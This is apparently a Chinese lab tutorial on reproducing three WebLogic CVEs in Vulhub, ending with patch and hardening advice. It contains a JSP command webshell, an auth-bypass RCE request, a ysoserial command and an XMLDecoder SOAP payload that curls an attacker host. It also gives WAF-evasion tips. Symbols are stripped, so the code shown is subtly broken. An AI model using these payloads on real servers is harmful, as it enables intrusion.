1. 项目概述与核心价值最近在整理内部安全测试的案例库发现Weblogic这个老牌Java应用服务器虽然近年来新版本的安全性有所提升但历史遗留的漏洞依然是红队演练和渗透测试中的“常客”。今天想和大家深入聊聊其中三个具有代表性的漏洞CVE-2018-2894、CVE-2020-14883和CVE-2019-2725。这三个漏洞分别涉及文件上传、权限绕过和反序列化几乎涵盖了Web应用安全中最经典的攻击面。复现这些漏洞不仅是为了掌握一个具体的攻击手法更是为了理解Oracle WebLogic Server在架构设计、配置管理和组件交互中可能存在的共性安全问题。对于安全研究人员、渗透测试工程师和运维开发人员来说亲手搭建环境、触发漏洞、分析流量和修复方案是构建纵深防御体系不可或缺的一环。本文将从环境准备开始逐步拆解每个漏洞的原理、利用条件、详细复现步骤并分享我在实际测试中遇到的坑和排查技巧目标是让你看完后能独立完成复现并深刻理解其背后的安全逻辑。2. 靶场环境搭建与配置要点2.1 靶机选择与快速部署复现漏洞的第一步是准备一个“活靶子”。我强烈推荐使用Vulhub这个开源漏洞靶场项目它已经为我们集成了包含这些漏洞的Weblogic环境镜像省去了自己寻找特定版本、复杂配置的麻烦。你只需要在Linux主机我用的Ubuntu 20.04上安装好Docker和Docker Compose即可。实际操作时进入Vulhub项目中对应的Weblogic漏洞目录例如weblogic/CVE-2018-2894执行docker-compose up -d命令。这里有个关键点务必确认容器成功启动并映射了正确的端口。Weblogic默认使用7001端口管理控制台8080端口用于应用访问。你可以通过docker ps查看容器状态并用curl -I http://your-ip:7001/console测试管理控制台是否可访问。如果遇到端口冲突需要在docker-compose.yml文件中修改宿主机映射端口。注意Vulhub的镜像为了复现方便通常默认启用了所有服务和弱口令。在生产环境或你自己的测试环境中绝对不要使用此类默认配置。复现完成后应及时关闭容器 (docker-compose down)避免留下安全隐患。2.2 关键组件与配置状态检查Weblogic的漏洞往往与特定组件的启用和配置状态强相关。在复现前我们需要登录到Weblogic管理控制台进行确认。通常Vulhub环境的管理员账号密码是weblogic/Oracle123。登录后重点检查以下区域部署Deployments查看ws_utcWeb Services Test Client应用是否处于“活动”状态。这是CVE-2018-2894的漏洞点。安全Security查看安全领域的配置特别是匿名访问权限。CVE-2020-14883的绕过与URL处理逻辑有关但了解整体安全配置有助于理解上下文。服务器Servers-协议Protocols-HTTP检查是否启用了T3协议。CVE-2019-2725这类反序列化漏洞通常通过T3协议触发。这些检查并非多余它们能帮你理解漏洞的生效条件。例如如果ws_utc应用没有被部署或处于“未活动”状态那么CVE-2018-2894的利用链就无法启动。我遇到过因为容器启动顺序问题导致应用部署失败的情况这时就需要重启容器或手动部署。3. CVE-2018-2894 任意文件上传漏洞深度解析3.1 漏洞原理与利用链拆解CVE-2018-2894的根源在于Weblogic Server提供的“Web Services Test Client”ws_utc组件。这个组件本意是方便开发人员测试Web Service接口但其对外暴露的文件上传功能存在严重缺陷。漏洞的核心路径是/ws_utc/config.do。当我们通过HTTP请求访问这个端点时可以指定一个workDir参数。服务端在处理这个参数时没有对用户传入的目录路径进行有效的安全校验。攻击者可以将其指向服务器上的任意可写目录例如Web应用的根目录如servers/AdminServer/tmp/_WL_internal/ws_utc/xxxxxx/这类临时部署目录。更危险的是后续的文件上传功能如图片上传会使用这个被篡改的workDir作为文件保存的基准路径。攻击者通过一个请求设置恶意工作目录再通过另一个请求上传一个包含JSP Webshell代码的“图片”文件如shell.jsp该文件就会被保存到Web应用的可访问路径下从而实现对服务器的远程代码执行。3.2 分步复现操作实录理解了原理我们开始动手。复现过程可以清晰地分为两步第一步设置恶意工作目录我们需要向/ws_utc/config.do发送一个POST请求修改其工作目录指向一个Web可访问的路径。POST /ws_utc/config.do HTTP/1.1 Host: your-target-ip:7001 Content-Type: application/x-www-form-urlencoded ... rset...workDirHome/u01/oracle/user_projects/domains/base_domainworkDir/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/ws_utc/xxxxxxworkDirKeyconfig_component关键参数是workDir。这里的路径需要根据实际靶场环境进行微调。你可以通过访问一个已知的Weblogic静态资源观察其路径规律来推断。Vulhub环境通常有固定的目录结构。第二步上传Webshell文件设置好工作目录后我们访问/ws_utc/begin.do获取一个时间戳timestamp。然后向文件上传接口发送请求POST /ws_utc/upload?timestamp[上一步获取的timestamp]fileIdshell.jsp HTTP/1.1 Host: your-target-ip:7001 Content-Type: multipart/form-data; boundary----WebKitFormBoundary7MA4YWxkTrZu0gW ... ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; namefile; filenameshell.txt Content-Type: image/jpeg % page importjava.util.*,java.io.*% % if (request.getParameter(cmd) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(cmd)); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } % ------WebKitFormBoundary7MA4YWxkTrZu0gW--注意这里我们虽然将文件内容命名为shell.jsp但在multipart中声明filenameshell.txt并设置Content-Type: image/jpeg来绕过可能的基础文件类型检查。Weblogic在处理时最终会以fileId参数shell.jsp作为保存的文件名。如果成功我们的Webshell就会被上传到类似http://your-target-ip:7001/ws_utc/css/config/keystore/[timestamp]/shell.jsp的路径下。访问该URL并附加?cmdwhoami参数如果返回了当前系统用户信息则证明漏洞复现成功已获得服务器命令执行权限。3.3 实操中的陷阱与绕过技巧在实际测试中我踩过几个坑路径问题最大的障碍是找不到正确的workDir。Weblogic的目录结构因版本和安装方式而异。一个实用的技巧是先尝试访问ws_utc应用本身的某个CSS或JS文件从返回的URL中提取出基础路径进行拼接猜测。权限问题即使路径正确也可能因为容器内用户权限不足导致文件无法写入。Vulhub的镜像通常配置了合适的权限。如果是自己搭建的环境需要确保Weblogic进程对目标目录有写权限。WAF或安全设备拦截上传的JSP代码中如果包含明显的敏感关键词如Runtime.exec可能会被WAF拦截。可以尝试对Webshell代码进行简单混淆比如拆分字符串、使用反射等方式或者尝试上传冰蝎、哥斯拉等内存马类型的Webshell其流量特征更隐蔽。4. CVE-2020-14883 未授权访问绕过漏洞剖析4.1 权限控制逻辑的缺陷CVE-2020-14883是一个典型的权限绕过漏洞影响Weblogic 10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0等多个版本。它的本质是Weblogic对管理控制台/console的访问权限校验逻辑存在缺陷。正常情况下访问/console/console.portal等管理页面需要经过身份认证。然而攻击者可以通过构造特殊的URL利用Weblogic在处理URL时对%252e、%252f等双重编码字符的解析差异绕过安全约束直接访问到本应受保护的后台功能页面例如console.portal从而在未登录的情况下进行部分管理操作或获取敏感信息。4.2 两种利用路径的复现对比这个漏洞的利用方式不止一种主要分为“未授权信息泄露”和“低权限用户提权”两种场景但核心都是URL构造。场景一直接未授权访问后台页面最简单的利用方式是直接访问以下构造的URLhttp://your-target-ip:7001/console/css/%252e%252e%252fconsole.portal这里%252e是.的两次URL编码%2e的再次编码%252f是/的两次URL编码。当Weblogic对URL进行第一次解码时%252e变成%2e%252f变成%2f。在某些特定的请求处理逻辑中这些字符可能会被再次解码最终被解释为../从而实现了路径穿越让请求指向了/console/console.portal但这个过程可能绕过了前置的权限检查过滤器。访问该URL如果返回了Weblogic管理控制台的界面可能部分功能不可用或者能看到一些本应登录后才可见的配置信息就证明漏洞存在。场景二结合CVE-2020-14882实现RCECVE-2020-14883常与其“兄弟”漏洞CVE-2020-14882权限绕过后命令执行一起被提及。在绕过权限控制后攻击者可以进一步访问到console.portal的特定参数通过com.tangosol.coherence.mvel2.sh.ShellSession等类实现远程代码执行。复现这个组合漏洞需要更精确的请求POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: your-target-ip:7001 ... _nfpbtrue_pageLabelHomePage1handlecom.tangosol.coherence.mvel2.sh.ShellSession(java.lang.Runtime.getRuntime().exec(touch /tmp/success);)成功执行后会在容器内的/tmp目录下创建一个名为success的文件。你可以通过进入容器 (docker exec -it container_id bash) 来验证文件是否存在。4.3 漏洞利用的限制与条件需要清醒认识到直接利用CVE-2020-14883进行RCE并非总是有效它受到以下限制版本差异不同版本的Weblogic其后台可用的Java类和方法不同。com.tangosol.coherence.mvel2.sh.ShellSession这个类在某些版本或配置中可能不可用。补丁情况Oracle官方针对14882和14883发布了补丁。如果目标系统已安装最新补丁单纯的URL绕过可能仍然存在信息泄露但后续的命令执行链会被阻断。依赖其他漏洞完整的RCE利用通常需要结合其他反序列化链或可利用的类这增加了利用难度和不确定性。因此在渗透测试中发现CVE-2020-14883更多是作为一个“突破口”证明存在未授权访问管理功能的风险为进一步的信息收集和横向移动提供可能而非一个稳定的直接RCE入口。5. CVE-2019-2725 反序列化命令执行漏洞实战5.1 漏洞背景与核心组件CVE-2019-2725是Oracle WebLogic Server中wls9-async组件异步通信服务存在的反序列化漏洞。该组件默认监听在7001端口的/_async/AsyncResponseService路径用于处理异步Web Service请求。由于在解析SOAP消息时对传入的XML数据反序列化操作处理不当未对恶意序列化数据进行有效过滤导致攻击者可以构造特定的SOAP请求在服务器上执行任意代码。这个漏洞是CVE-2017-10271的绕过补丁后的再次绕过属于“补丁摞补丁”未能根治问题的典型案例凸显了修复反序列化漏洞的复杂性。5.2 从数据包构造到代码执行复现这个漏洞关键在于构造一个能够触发反序列化链的恶意SOAP请求。我们使用Python配合ysoserial工具来生成攻击载荷。第一步生成序列化Payloadysoserial是一个著名的Java反序列化利用工具集。我们需要使用其中针对Weblogic的链例如CommonsCollections链具体链名称需根据目标Weblogic版本和依赖库确定常用CommonsCollections1。java -jar ysoserial.jar CommonsCollections1 curl http://your-attacker-ip:9999 payload.bin这条命令会生成一个执行curl命令的序列化对象并保存为二进制文件payload.bin。我们可以在攻击机上用nc -lvp 9999监听9999端口用于接收目标服务器发出的HTTP请求以此作为命令执行成功的证明。第二步构造恶意SOAP请求将生成的payload.bin进行Base64编码。然后构造如下格式的POST请求POST /_async/AsyncResponseService HTTP/1.1 Host: your-target-ip:7001 Content-Type: text/xml;charsetUTF-8 SOAPAction: Content-Length: [你的数据长度] soapenv:Envelope xmlns:soapenvhttp://schemas.xmlsoap.org/soap/envelope/ xmlns:wsahttp://www.w3.org/2005/08/addressing xmlns:asyhttp://www.bea.com/async/AsyncResponseService soapenv:Header wsa:Actionxx/wsa:Action wsa:RelatesToxx/wsa:RelatesTo work:WorkContext xmlns:workhttp://bea.com/2004/06/soap/workarea/ java version1.8.0 classjava.beans.XMLDecoder void classjava.lang.ProcessBuilder array classjava.lang.String length3 void index0 string/bin/bash/string /void void index1 string-c/string /void void index2 stringcurl http://your-attacker-ip:9999/string /void /array void methodstart/ /void /java /work:WorkContext /soapenv:Header soapenv:Body asy:onAsyncDelivery/ /soapenv:Body /soapenv:Envelope注意上面展示的是利用XMLDecoder的另一种常见Payload格式。在实际利用中也可能需要将ysoserial生成的Base64 payload嵌入到byte-array等标签中。具体格式需要根据漏洞利用脚本调整。网络上公开的PoC脚本通常会处理好这个格式。第三步发送请求并验证使用Burp Suite、Curl或Python的requests库发送上述恶意SOAP请求。如果漏洞存在且利用成功你会在攻击机的9999端口监听器上收到来自目标Weblogic服务器的HTTP请求证明curl命令已被执行。5.3 反序列化漏洞利用的难点与演进复现CVE-2019-2725的过程比前两个漏洞更“曲折”一些因为它涉及Java反序列化这个深水区。链的选择ysoserial提供了数十条利用链Gadget Chains并非所有链在目标环境中都有效。它依赖于目标Weblogic服务器ClassPath中存在的、可利用的第三方库如commons-collections, commons-beanutils等。如果目标环境缺少相应库或版本不匹配利用会失败。这就需要信息收集或者尝试多条常见链如CommonsCollections1, 3, 5, 6, 7。Payload的生成与编码生成的序列化数据可能需要根据Weblogic对SOAP body的处理方式进行适当的包装和编码如Base64、十六进制等否则可能在解析阶段就被丢弃。不出网利用在实际攻防中目标服务器可能无法访问外网不出网。这时就需要构造能回显命令结果的Payload或者利用DNS、ICMP等协议进行带外数据外传甚至写入Webshell到web目录。这大大增加了利用复杂度。防御与检测现代WAF和主机安全软件对反序列化攻击的检测能力很强。它们会检查HTTP请求中是否包含序列化数据的特征如AC ED 00 05魔数、rO0AB等Base64特征。因此高级利用往往需要对Payload进行加密、混淆或分片传输。6. 漏洞修复方案与安全加固建议复现漏洞是为了更好地防御。针对这三个漏洞修复措施需要分层进行1. 紧急补丁修复最直接有效的方法是安装Oracle官方发布的安全补丁CPU。CVE-2018-2894升级至受支持版本并安装2018年7月关键补丁更新。CVE-2020-14883/14882升级至受支持版本并安装2020年10月关键补丁更新。CVE-2019-2725升级至受支持版本并安装2019年4月/7月关键补丁更新。 务必从官方渠道获取补丁并先在测试环境验证。2. 临时缓解措施如果无法立即升级可采取以下临时方案针对CVE-2018-2894在管理控制台中找到并卸载Undeployws_utc应用。这是一个非必需的生产组件。针对CVE-2020-14883/14882通过前端WAF或反向代理如Nginx对访问/console路径的请求进行严格的访问控制只允许可信IP访问。针对CVE-2019-2725在Weblogic控制台的“部署”中找到wls9-async应用或类似名称的异步服务将其状态改为非活动Inactive或直接删除对应的war包。3. 长期安全加固最小权限原则以非root、低权限用户运行Weblogic服务。严格限制其对操作系统文件的读写权限。网络隔离将Weblogic管理控制台端口7001限制在内网访问禁止暴露在公网。生产环境的T3协议通常用于集群通信也应限制访问源IP。定期安全评估使用专业的漏洞扫描工具或进行授权的渗透测试定期检查Weblogic及其他中间件的安全性。依赖库管理定期审查并升级Weblogic所使用的第三方库特别是已知存在反序列化漏洞的库如commons-collections等即使Weblogic本体已打补丁这些库也可能引入新的风险。7. 复现过程中的常见问题与排查实录在多次复现这些漏洞的过程中我积累了一些排查问题的经验这里分享几个典型场景问题1环境启动后访问Weblogic控制台一直连接超时或拒绝。排查思路首先docker logs [container_id]查看容器日志看Weblogic启动过程是否有报错。常见错误是内存不足导致JVM启动失败。可以尝试修改docker-compose.yml中的环境变量增加-e MEM_ARGS-Xms1024m -Xmx2048m。另一个可能端口映射错误。确认docker-compose.yml中端口映射是7001:7001并用docker port [container_id]检查实际映射。问题2CVE-2018-2894上传Webshell成功但访问返回404。排查思路这通常是文件上传路径不正确文件没有落到真正的Web目录下。仔细检查设置workDir的请求是否成功观察响应。上传后可以尝试在路径中遍历不同的目录名时间戳可能变化。也可以进入容器内部find / -name shell.jsp 2/dev/null全局搜索上传的文件确定其真实位置。问题3使用ysoserial生成的Payload发送后没有任何反应监听端口收不到请求。排查思路这是反序列化漏洞复现中最常见的问题。链不匹配换用ysoserial的其他链尝试如CommonsCollections5,CommonsCollections6,CommonsBeanutils1等。Payload编码问题确保Payload以正确的方式嵌入到SOAP消息中。对比多个公开PoC的请求体格式。目标无外网尝试使用能回显命令结果的Payload或者尝试在目标服务器上写入一个Webshell文件作为测试。版本不对确认你的靶场Weblogic版本确实在漏洞影响范围内。Vulhub的镜像描述会写明。问题4请求发送后服务器返回500内部错误但命令未执行。排查思路500错误可能意味着漏洞触发了反序列化过程出错但利用链执行到某一步失败了。查看Weblogic的服务器日志位于容器内domains/base_domain/servers/AdminServer/logs/下通常会有更详细的异常堆栈信息。根据堆栈信息判断是缺少类、方法被禁止还是其他安全机制拦截。手工复现漏洞尤其是像Weblogic反序列化这种复杂的漏洞是一个需要耐心和细致分析的过程。每一个错误提示、每一条日志信息都是通往成功的线索。最重要的是理解每一步操作背后的原理这样当遇到新环境或新变种时你才能举一反三灵活应对。